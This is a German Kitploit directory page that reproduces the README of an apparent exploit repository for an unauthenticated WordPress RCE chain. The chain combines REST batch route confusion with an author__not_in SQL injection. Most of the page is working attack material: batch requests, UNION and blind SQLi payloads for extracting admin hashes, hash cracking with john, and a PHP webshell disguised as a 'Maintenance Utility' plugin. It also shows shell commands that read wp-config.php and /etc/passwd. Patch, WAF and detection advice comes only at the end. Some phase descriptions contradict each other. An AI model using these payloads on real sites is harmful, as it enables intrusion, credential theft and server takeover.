Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-60137_CVE-2026-63030 — # WordPress-Exploit für nicht authentifiziertes RCE, der Routenverwirrung und SQL-Injection kombiniert. Automatisiertes Skript, Laboraufbau und detaillierte Schwachstellenanalyse werden bereitgestellt. | Kitploit
Tools/GitHubGitHub/dungsocool/cve-2026-60137_cve-2026-63030
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubdungsocool/cve-2026-60137_cve-2026-63030

CVE-2026-60137_CVE-2026-63030

# WordPress-Exploit für nicht authentifiziertes RCE, der Routenverwirrung und SQL-Injection kombiniert. Automatisiertes Skript, Laboraufbau und detaillierte Schwachstellenanalyse werden bereitgestellt.

Repository anzeigen
2vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-60137 + CVE-2026-63030 — WordPress-RCE ohne Authentifizierung

Schwachstelle: REST-Batch-Routenkonfusion + WP_Query SQL Injection → Vollständige RCE

CVSS v3.1: 10.0 / 10.0 — KRITISCH | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Betroffen: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Behoben: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)

root@kitploit:~
---

## Schnellstart

### 1. Das verwundbare Labor einrichten

**Voraussetzungen:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030

# Start vulnerable WordPress
docker compose up -d

# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080

2. Den Exploit ausführen```bash

pip install requests

Full auto chain — interactive shell

python3 exploit.py http://localhost:8080

Or run a single command

python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"

Check-only mode (no exploitation)

python3 exploit.py http://localhost:8080 --check-only

root@kitploit:~
### 3. Erwartete Ausgabe```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible

[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...

[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123

[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated

[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php

[+] RCE CONFIRMED!
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target$ _
Bild
Bild

Dateien in diesem Repository

DateiBeschreibung
README.mdVollständige Schwachstellenanalyse und Exploitation-Dokumentation
exploit.pyAutomatisiertes Exploit-Skript (Null-Zugriff → RCE in einem Befehl)
docker-compose.ymlVerwundbare WordPress-Lab-Umgebung
chain-rce.mdDokumentation der automatisierten RCE-Kette
images/Screenshots der manuellen Ausnutzung

Detaillierte Schwachstellenanalyse

CVE-2026-60137 (verknüpft mit CVE-2026-63030)

Schwachstelle: Nicht authentifizierte Remote-Code-Ausführung — REST-Batch-Routen-Konfusion + WP_Query-SQL-Injection

CVSS v3.1: 10.0 / 10.0 — KRITISCH

Vektor: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


1. Überblick

CVE-2026-60137 ist eine nicht authentifizierte RCE-Schwachstelle im WordPress-Kern. Sie kombiniert zwei unabhängige Fehler zu einer vollständigen Exploit-Kette vom Null-Zugriff bis zur vollständigen Server-Übernahme:

CVEFehlerRolle in der Kette
CVE-2026-63030REST-Batch-Routen-KonfusionAuthentifizierung umgehen
CVE-2026-60137author__not_in-SQL-InjectionBeliebige Datenbank-Lese-/Schreibzugriffe

Betroffene Versionen:

  • Vollständige RCE: WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
  • Nur SQLi (erfordert unterstützendes Plugin): 6.8.0 – 6.8.5
  • Gepatcht: 6.9.5, 7.0.2, 7.1-beta2+

Ausnutzungsbedingungen:

  • REST-API ist öffentlich (WordPress-Standard)
  • Kein persistenter Objekt-Cache (Standard ist keiner)
  • Mindestens 1 veröffentlichter Beitrag (Standard „Hello World“ ist vorhanden)
  • Kein Konto oder keine Sitzung erforderlich

→ Der überwiegende Teil der WordPress-Installationen ist standardmäßig verwundbar.

2. Terminologie

REST-Batch-Endpunkt (/wp-json/batch/v1)

Ermöglicht das Senden mehrerer REST-API-Anfragen innerhalb einer einzigen HTTP-Anfrage:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }

root@kitploit:~
Jede Unteranfrage wird einem eigenen Handler zugeordnet, und jeder Handler hat seinen eigenen **Berechtigungs-Callback**.

### WP_Query — `author__not_in`

Zentrale Datenbank-Abfrageklasse. Der Parameter `author__not_in` akzeptiert ein Array von Ganzzahlen und erzeugt die SQL-Klausel:```sql
AND post_author NOT IN (5, 12, 23)

Jedes Element durchläuft absint() → wobei nur der ganzzahlige Teil erhalten bleibt.

wp_parse_url()

Wrapper für parse_url(). Bei einer ungültigen URL → gibt WP_Error zurück.```php wp_parse_url("https://example.com/path") // → OK wp_parse_url("///") // → WP_Error

root@kitploit:~
## 3. Grundursache — Bug A: Batch-Routen-Verwechslung (CVE-2026-63030)

**Datei:** `wp-includes/rest-api/class-wp-rest-server.php`

### Anfälliger Quellcode:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
    $requests = $batch_request->get_json_params()['requests'];
    $matches  = array();

    foreach ( $requests as $i => $single_request ) {
        $parsed = wp_parse_url( $single_request['path'] );

        if ( is_wp_error( $parsed ) ) {
            $responses[ $i ] = $this->error_to_response( $parsed );
            continue;  // ←BUG: $matches[] is NOT appended
        }

        $matches[] = $this->match_request_to_handler( $parsed );
        // ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
    }

    // Dispatch — this is where the bug comes into play
    $match_index = 0;
    foreach ( $requests as $i => $single_request ) {
        if ( isset( $responses[ $i ] ) ) continue;

        $handler = $matches[ $match_index ];  // ← INDEX IS DESYNCED
        $match_index++;

        // Request[i] runs with the permission callback OF ANOTHER REQUEST
        $permission_callback = $handler['permission_callback'];
        call_user_func( $permission_callback, $single_request );
    }
}

Mechanismus:```

Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}

Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler

Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication

root@kitploit:~
### Warum löst `"///"` den Fehler aus?

Wenn PHP `parse_url()` auf `"///"` trifft, versucht es, sie gemäß **RFC 3986** zu parsen — URL-Struktur:```
scheme ://   authority  /       path
  │              │              │
"https"    "localhost:8080"   "/wp/v2/posts"
                 │
             host + port

Wenn es "///" empfängt, interpretiert es dies als:``` // → authority begins (double slash = has host) / → empty authority, path begins immediately → host = "" (empty) → path = "" (empty) → scheme = none

root@kitploit:~
PHP-Rückgabewert:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version

WordPress verarbeitet dies mit wp_parse_url() → erkennt kein gültiges Schema, keinen gültigen Host, keinen sinnvollen Pfad → gibt WP_Error zurück.

wp_parse_url("///") gibt WP_Error zurück (URL fehlerhaft). Dieser Fehler führt dazu, dass die Anfrage in der Schleife, die $matches aufbaut, übersprungen wird, aber NICHT in der Dispatch-Schleife → das Array wird desynchronisiert.

4. Grundursache — Bug B: SQL-Injection (CVE-2026-60137)

Datei: wp-includes/class-wp-query.php

Verwundbarer Quellcode:```php

class WP_Query { public function get_posts() { global $wpdb;

root@kitploit:~
    if ( ! empty( $q['author__not_in'] ) ) {
        $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
        $where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
        //                                                   ↑ INJECTION POINT
    }
}

}

root@kitploit:~
### Normaler (sicherer) Pfad:```
User input → REST Controller → array cast + absint() → WP_Query → SQL
             ↑ sanitization occurs here

REST-Controller (class-wp-rest-posts-controller.php):```php $args['author__not_in'] = array_map('absint', (array)$request['author_exclude']); // "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0] // → SAFE

root@kitploit:~
### Pfad mit Routenverwirrung (anfällig):```
User input → Route Confusion bypass → WP_Query directly → SQL
             ↑ REST controller is SKIPPED

Wenn der Batch-Desync auftritt, gehen die Request-Parameter nicht durch den REST-Controller → der rohe String landet direkt in WP_Query → wp_parse_id_list() weist eine Edge-Case-Umgehung auf → SQL-Injection.

Payload:```

author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"

root@kitploit:~
Generiertes SQL:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
                            ↑ INJECTED                                           ↑ commented out

5. Warum beide Bugs verketten?

SzenarioErgebnis
Nur Bug A (Route Confusion)Berechtigungsüberprüfung umgangen → aber nichts zu injizieren
Nur Bug B (SQLi)REST-Controller castet Eingaben immer → keine Injektion möglich
Bug A + Bug BConfusion umgeht Controller → roher String in SQL → RCE

Für sich genommen sind diese beiden Bugs harmlos. Nur bei der Verkettung:

  • Bug A: entfernt die Sanitization-Schicht (REST-Controller)
  • Bug B: injiziert SQL, weil die Sanitization umgangen wurde

6. Angriffsketten-Analyse

Phase 1: Route Confusion```

POST /wp-json/batch/v1 Content-Type: application/json

{ "requests": [ {"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}} ] }

root@kitploit:~
→ Response[0]: `parse_path_failed` (Primer ausgelöst)

→ Response[1]: `rest_invalid_handler` (Handler-Desync bestätigt)

### **Phase 2: SQL-Injection – Daten extrahieren**

**Blind Boolean :**```
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -

Vergleiche TRUE- vs. FALSE-Antwort → binäre Suche über jedes Zeichen.

UNION In-Band :``` 0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish', 'closed','closed','','slug','','',NOW(),NOW(),'',0, CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -

root@kitploit:~
Gefälschte Beitragszeile, die in der JSON-Antwort zurückgegebene Anmeldedaten enthält.

→ Ergebnis: `user_login` und `user_pass` (bcrypt-Hash) erfolgreich aus `wp_users` extrahiert.

### **Phase 3: Hash knacken → Admin-Login**

Der in Phase 2 erhaltene Hash liegt im bcrypt-Format vor (`$wp$2y$10$...`). Entferne das `$wp$`-Präfix → knacke ihn mit john/hashcat + Wortliste → erhalte das Klartext-Passwort → melde dich unter `/wp-login.php` an.

**Hinweis:** Der Injektionspunkt befindet sich in der `WHERE`-Klausel von `SELECT`. MySQL deaktiviert Multi-Statements → UNION ist nur lesend (READ-only), nicht schreibend (WRITE) → kann keinen neuen Admin direkt per SQLi einfügen (INSERT). Der Hash muss geknackt werden, um eine gültige Sitzung zu erhalten.

### Phase 4: Webshell-Upload```
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin

Phase 5: RCE```

GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id → uid=33(www-data) gid=33(www-data)

root@kitploit:~
## **7. AUSNUTZUNG**

Die Ausnutzung von CVE-2026-60137 führt von **Nullzugriff** — kein Konto, kein Passwort, keine Sitzung — zu **vollständiger Serverkontrolle** ausschließlich über HTTP-Anfragen.

**Voraussetzungen:** Das Zielsystem läuft mit WordPress 6.9.0–6.9.4 oder 7.0.0–7.0.1 und die REST-API ist öffentlich (standardmäßig aktiviert). Es ist keine Anmeldung oder Kenntnis von Anmeldedaten erforderlich.

**Die Exploit-Kette besteht aus 5 Phasen:**```
Phase 1: Route Confusion      → Bypass authentication
Phase 2: SQL Injection        → Read database (username, password hash)
Phase 3: Crack-Free Admin     → Create new admin without cracking password
Phase 4: Webshell Upload      → Install backdoor via plugin upload
Phase 5: RCE                  → Execute arbitrary commands on the server

7.1 Phase 1: Bestätigung der Routen-Verwechslung

Ziel: Bestätigen, dass das Ziel verwundbar ist — das Handler-Array ist desynchronisiert, wenn der Primer-Pfad "///" gesendet wird.

Prinzip: Der Batch-Endpunkt erlaubt das Senden mehrerer REST-Anfragen in einem einzigen HTTP-Aufruf. Wenn wp_parse_url("///") fehlschlägt, überspringt WordPress diese Anfrage beim Aufbau des $matches-Arrays, überspringt sie jedoch NICHT beim Dispatch → Die Handler sind versetzt → die nachfolgende Anfrage läuft mit dem falschen Berechtigungs-Callback → Authentifizierung umgangen.

Anfrage senden:``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}

root@kitploit:~
**Antwort:**```
{
  "responses": [
    {"body": {"code": "parse_path_failed"}, "status": 400},
    {"body": {"code": "rest_invalid_handler"}, "status": 500}
  ]
}

So liest man:

images/image.png

AntwortCodeBedeutung
[0]parse_path_failedPrimer funktioniert — wp_parse_url("///") fehlgeschlagen
[1]rest_invalid_handlerDESYNC! Anfrage hat falschen Handler erhalten → Auth-Bypass

Wir beobachten, dass rest_invalid_handler bedeutet: "WordPress erkennt, dass der Handler NICHT MIT der Anfrage ÜBEREINSTIMMT"

→ Das bedeutet, dass das $matches-Array BEREITS DESYNCHRONISIERT ist, der Primer "///" FUNKTIONIERT HAT und diese Desynchronisation AUSGENUTZT WERDEN KANN, um die Anfrage mit dem Permission-Callback EINER ANDEREN ROUTE (einer Route, die keine Authentifizierung erfordert) auszuführen → AUTH-BYPASS IST MÖGLICH

Sieht man rest_invalid_handler → Bug A bestätigt.

7.2 Phase 2: SQL-Injection bestätigen

Schritt 1 — TRUE vs FALSE

TRUE (OR 1=1):

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
**FALSE (AND 1=2):**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/95c08d2e43f06122b224fab9d17c713097a2f740f972da5b9d6d68e10ca4effa.png)```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

Unterschied in X-WP-Total → SQLi bestätigt.

Schritt 2 — Admin-Benutzernamen extrahieren (Blind Boolean)

1. Zeichen:

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
`CHAR(97)` = `'a'`. X-WP-Total=8 (TRUE) → also ist das erste Zeichen `'a'`

Durch sequenzielles Aufzählen erhalten wir: `user_login` = **"admin"**

#### **Schritt 3 — Passwort-Hash extrahieren**```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

images/image.png

images/image.png

Verwenden Sie die binäre Suche, um den ASCII-Code jedes Zeichens in user_pass zu bestimmen:``` Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE) Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)

root@kitploit:~
Zwei gegensätzliche Antworten bestätigen, dass der ASCII-Wert des ersten Zeichens im Bereich **(30, 40]** liegt. Fahren Sie mit der Eingrenzung fort:```
> 35  →  TRUE
> 36  →  FALSE
→ ASCII = 36 = '$'

Setze die binäre Suche für jede Position fort → erhalte die Hash-Präfix-Zeichenfolge $wp$:

Setze die BLIND-SQL-Abfrage Zeichen für Zeichen fort:

PositionASCIIZeichenNotizen
136$Hash-Präfix
2119w
3112p
436$→ $wp$ = bcrypt-Variante
5-20...2y$10$aJgATdlhfIKostenfaktor + Salt

→ Vollständiger Hash: $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

7.3 Phase 3: Admin-Anmeldung

Nach Phase 2 haben wir:

  • user_login = admin
  • user_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

Hash cracken

WordPress-Hashes verwenden das bcrypt-Format ($2y$10$) mit einem Kostenfaktor von 10. Vor dem Cracken müssen wir das $wp$-Präfix entfernen, da hashcat/john nur reines bcrypt akzeptiert:```

Save the pure bcrypt part (remove $wp$ prefix)

echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt

Crack using john

john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt

root@kitploit:~
**Ergebnis:**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/29e2f2018d63e7bdb2c8a633cb151d0aeab28801b47c7ec270be116ec2030f89.png)

Passwort **`admin123`** ist in der Wortliste → john knackt es sofort erfolgreich.

→ Erfolgreich bei `/wp-login.php` mit `admin:admin123` angemeldet.

### **7.4 Phase 4: Webshell hochladen**

An diesem Punkt haben wir eine gültige Admin-Sitzung. Das nächste Ziel ist es, eine **Hintertür auf dem Server zu platzieren**, um Zugriff unabhängig von Zugangsdaten aufrechtzuerhalten.

WordPress erlaubt Admins, Plugins im ZIP-Format hochzuladen – das ist eine legitime Funktion, und wir werden sie missbrauchen.

#### **Webshell erstellen**

Zuerst benötigen wir eine PHP-Datei, die Systembefehle ausführt. Diese Datei wird in ein Fake-Plugin verpackt, damit WordPress sie akzeptiert:```php
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
    header('Content-Type: text/plain');
    echo shell_exec($_GET['cmd'] . ' 2>&1');
    exit;
}

Das secret123-Token fungiert als Passwort — und verhindert, dass andere versehentlich die Shell auslösen.```bash mkdir shell && mv shell.php shell/ zip -r shell.zip shell/

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/bf2671815ada8d413fdb42cdd06b8b42c7a549846557a6e3ff541147010bf104.png)

Erfolgreich erstellt.

#### **In WordPress hochladen**

Nachdem Sie `shell.zip` erfolgreich erstellt haben, laden Sie die ZIP-Datei in den Plugin-Bereich hoch, um sie auszulösen.

WordPress entpackt und platziert die Datei unter:```
/var/www/html/wp-content/plugins/shell/shell.php

Das Plugin erscheint in der Liste unter dem Namen "Maintenance Utility" mit dem Status Aktiv → die Webshell ist nun bereit, über HTTP ausgelöst zu werden.

images/image.png

UPLOAD und ACTIVE erfolgreich.

7.5 Phase 5: RCE

Somit ist die Shell auf dem Server. Rufen Sie sie auf, um die Shell auszuführen.

RCE bestätigen:``` GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/eb3f921660da2c214487a9ccb062f173bee25b881e7ff7c95be685fbb061bf2a.png)```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Running as the www-data user — the web server's user. Next, escalate the impact:

WordPress-Konfigurationsdatei lesen:```

GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/3db8d0921065eb40ee3e8d305fbc365c924f7d8950921b034d521037c676a9bf.png)

 — Führt den Befehl aus, um die Datei `wp-config.php` über die Webshell zu lesen — dabei werden alle WordPress-Geheimschlüssel (`AUTH_KEY`, `SECURE_AUTH_KEY`, `LOGGED_IN_KEY`, `NONCE_KEY`,...) und Datenbankanmeldeinformationen offengelegt. Dies sind die sensibelsten Informationen einer WordPress-Installation.

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/ea90ae9a1698312588a1dd97c804f1612a8bb09889eb12aafcb3ed1e68295826.png)

*—* Die Antwort gibt den Inhalt von `wp-config.php` zurück, einschließlich `DB_NAME`, `DB_USER`, `DB_PASSWORD`, `DB_HOST` — ausreichend für den direkten Zugriff auf den Datenbankserver, ohne über WordPress zu gehen.

#### **Alle Systembenutzer auslesen:**```
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

images/image.png

→ Bestätigt Zugriff auf Betriebssystemebene, nicht länger auf den WordPress-Bereich beschränkt.

An diesem Punkt ist die Exploit-Kette vollständig:``` Zero credentials ↓ Route Confusion (Bug A) Auth bypass ↓ SQL Injection (Bug B) admin:admin123 ↓ hashcat/john Admin session ↓ Plugin upload Webshell active ↓ shell_exec() Full RCE — www-data

root@kitploit:~
### **7.6 Zusammenfassung**

| **#** | **Phase** | **Methode** | **Pfad** |
| --- | --- | --- | --- |
| 1 | SQLi TRUE | POST | `/?rest_route=/batch/v1` |
| 2 | SQLi FALSE | POST | `/?rest_route=/batch/v1` |
| 3 | Benutzername extrahieren | POST | `/?rest_route=/batch/v1` |
| 4 | Hash extrahieren | POST | `/?rest_route=/batch/v1` |
| 5 | Admin-Login | POST | `/wp-login.php` |
| 6 | Nonce abrufen | GET | `/wp-admin/plugin-install.php` |
| 7 | Shell hochladen | POST | `/wp-admin/update.php` |
| 8 | Aktivieren | GET | `/wp-admin/plugins.php` |
| 9 | **RCE** | GET | `/wp-content/plugins/shell/shell.php` |

**9 Anfragen. Keine anfänglichen Anmeldedaten. Von der Login-Seite → volle Serverkontrolle.**

## 8. CVSS-Aufschlüsselung

| Metrik | Wert | Grund |
| --- | --- | --- |
| Attack Vector | Network | Remote über HTTP |
| Attack Complexity | Low | Deterministisch, kein Timing/Race erforderlich |
| Privileges Required | None | Vollständig ohne Authentifizierung |
| User Interaction | None | Keine Aktion des Opfers erforderlich |
| Scope | Changed | WP → OS-Ebene (www-data) |
| Confidentiality | High | Vollständiger DB-Lesezugriff |
| Integrity | High | Beliebige DB-Schreibzugriffe, Datei-Upload |
| Availability | High | DROP-Tabellen, Ransomware |

## 9. Auswirkungen

### Technisch

| Ebene | Auswirkung |
| --- | --- |
| Datenbank | Lese-/Schreibzugriff auf alles: wp_users, wp_options, wp_posts |
| Anwendung | Admins erstellen, Inhalte ändern, Backdoors installieren |
| Server | RCE als www-data, wp-config.php lesen, /etc/passwd |
| Netzwerk | Pivot zu internen Diensten über DB-Anmeldedaten |

### Geschäftlich

| Szenario | Konsequenzen |
| --- | --- |
| E-Commerce | PII offenlegen, Zahlungsschlüssel stehlen, Skimmer einschleusen |
| Unternehmen | Defacement, SEO-Spam, Malware-Verteilung |
| Multisite | 1 Exploit → Kompromittierung des gesamten Netzwerks |
| SaaS (WP-Marketing) | Umgebungsvariablen extrahieren → Pivot in die Produktion |

### Gefährdete Daten

- `wp_users`: Benutzername, E-Mail, Passwort-Hash
- `wp_usermeta`: PII (Name, Telefon, Adresse), session_tokens
- `wp_options`: DB-Anmeldedaten, SMTP-Anmeldedaten, Zahlungs-API-Schlüssel, WordPress-Salts
- `wp-config.php`: Datenbank-Host/Benutzer/Passwort, geheime Schlüssel
- `/proc/self/environ`: Umgebungsvariablen

## 10. Verteidigung und Behebung

### 10.1 Patch (Gründlich)

| Aktuelle Version | Upgrade auf |
| --- | --- |
| 6.9.0 – 6.9.4 | **6.9.5** |
| 7.0.0 – 7.0.1 | **7.0.2** |
| 6.8.x | **6.8.6** |

### 10.2 Code-Fix

**Bug A – Routenverwechslung:**```php
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;

// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;

Bug B — SQL Injection:```php // BEFORE: wp_parse_id_list has an edge case $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));

// AFTER: Force cast + explicit absint $safe = array_map('absint', array_filter((array)$q['author__not_in'])); $author_not_in = implode(',', $safe);

root@kitploit:~
### 10.3 Temporäre Gegenmaßnahme

**1. Batch-Endpunkt deaktivieren (am effektivsten):**```php
add_filter('rest_endpoints', function($endpoints) {
    unset($endpoints['/batch/v1']);
    return $endpoints;
});

2. Redis/Memcached aktivieren:```bash wp plugin install redis-cache --activate wp redis enable

root@kitploit:~
→ UNION injection spiegelt sich nicht wider (der Cache liefert veraltete Daten).

**3. WAF-Regel:**```nginx
location /wp-json/batch/ {
    if ($request_body ~* '"path"\s*:\s*"///') {
        return 403;
    }
}

10.4 Erkennung

Log-Muster:``` POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after GET /wp-content/plugins/*/shell.php" 200 ← webshell access

root@kitploit:~
**IOC-Überprüfung:**```bash
wp user list --role=administrator          # unfamiliar admin?
ls wp-content/mu-plugins/                  # backdoor?
wp core verify-checksums                   # core modified?
Tool herunterladen